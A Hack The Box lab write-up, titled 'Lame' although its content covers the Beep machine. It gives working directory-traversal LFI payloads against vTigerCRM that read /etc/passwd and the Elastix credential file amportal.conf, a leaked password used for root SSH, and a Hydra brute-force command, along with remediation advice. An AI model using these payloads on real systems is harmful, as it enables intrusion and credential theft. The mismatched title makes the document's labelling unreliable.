Hack The Box - Lame user and root

🎯 Objective

Obtain user and root flags on 10.10.10.7 (HTB Beep) by abusing Elastix/vTigerCRM misconfigurations and a Local File Inclusion (LFI) to retrieve credentials.

🗺️ Environment & Scope

• Target: 10.10.10.7 (beep.htb)
• OS/Stack (from service banners & configs): Linux with Elastix (FreePBX/Asterisk), vTigerCRM
• Goal: Foothold via web → reuse leaked credentials → SSH → grab flags

🔎 Recon & Enumeration

1) Web & Dir Enumeration (initial attempts)

Tried multiple directory enumeration tools and wordlists, but vtigercrm wasn’t revealed in this run:

Metasploit  : use auxiliary/scanner/http/dir_scanner
  set rhosts 10.10.10.7
  set dictionary /usr/share/wordlists/dirb/common.txt
  exploit    # (no success)

dirsearch   : ./dirsearch.py -u beep.htb -e php -f -x 400,403,404  # (no success)
dirbuster   : 500 threads + directory-list-2.3-medium.txt          # (no success)

In other write‑ups, /vtigercrm/ is commonly found. Even if not discovered by brute force, it’s present and is the pivot for LFI.

2) Vulnerability Research (Elastix / vTiger)

From searchsploit elastix we shortlisted multiple items; the key lead was LFI through vTiger CRM paths and other Elastix components:

Elastix 2.2.0 - 'graph.php' Local File Inclusion      (37637.pl)
Elastix < 2.5 - PHP Code Injection                    (38091.php)
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Exec     (18650.py)
...

3) Working LFI

A reliable LFI path to /etc/passwd:

https://beep.htb/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00

Useful users (after cleaning out nologin lines):

root:x:0:0:root:/root:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash
asterisk:x:100:101:Asterisk VoIP PBX:/var/lib/asterisk:/bin/bash
spamfilter:x:500:500::/home/spamfilter:/bin/bash
fanis:x:501:501::/home/fanis:/bin/bash

Another LFI to pull Elastix/FreePBX config for credentials:

view-source:https://beep.htb/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

Extracted sensitive values (examples from your run):

asterisk
asteriskuser
amp109
asterisk
admin
amp111
admin
jEhdIekWmdjE

💥 Initial Access (SSH with leaked creds)

Tried a few SSH logins manually (Hydra was an option, but you were cautious about lockouts). The root login succeeded directly:

ssh root@beep.htb
# (password from amportal.conf, e.g., 'jEhdIekWmdjE')

⚠️ Many Elastix/FreePBX images reuse credentials across services (GUI/DB/SSH). Always verify ethically and within scope.

🧑‍💻 Flags

User Flag

# Once on the host
cat /home/fanis/user.txt
# aeff3def0c765c2677b94715cffa73ac

Root Flag

# Already root via SSH
cat /root/root.txt
# d88e006123842106982acce0aaf453f0

🧰 Tools & Commands (used/considered)

• Enumeration: dirsearch, dirbuster, Metasploit dir_scanner
• Web testing: Browser (view-source), crafted LFI GETs
• Credential reuse: Manual SSH attempts (ssh root@beep.htb)
• (Optional) Brute force: hydra -L users.txt -P passwords.txt ssh://beep.htb

🔐 Remediation / Hardening

• Patch/Upgrade Elastix/vTigerCRM; remove vulnerable modules.
• Disable direct root SSH login; enforce key-based auth; rotate all secrets.
• Segregate credentials: Do not reuse DB/GUI passwords for SSH.
• Restrict config exposure: Ensure web users cannot read sensitive configs.
• WAF/IDS signatures for traversal patterns (../ + %00 null-byte).

📎 Appendix — Quick References

• LFI to /etc/passwd:
  text Copy

  /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00

• LFI to amportal.conf (secrets):
  text Copy

  /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

• SSH login:
  bash Copy

  ssh root@beep.htb
  # password from amportal.conf (e.g., jEhdIekWmdjE)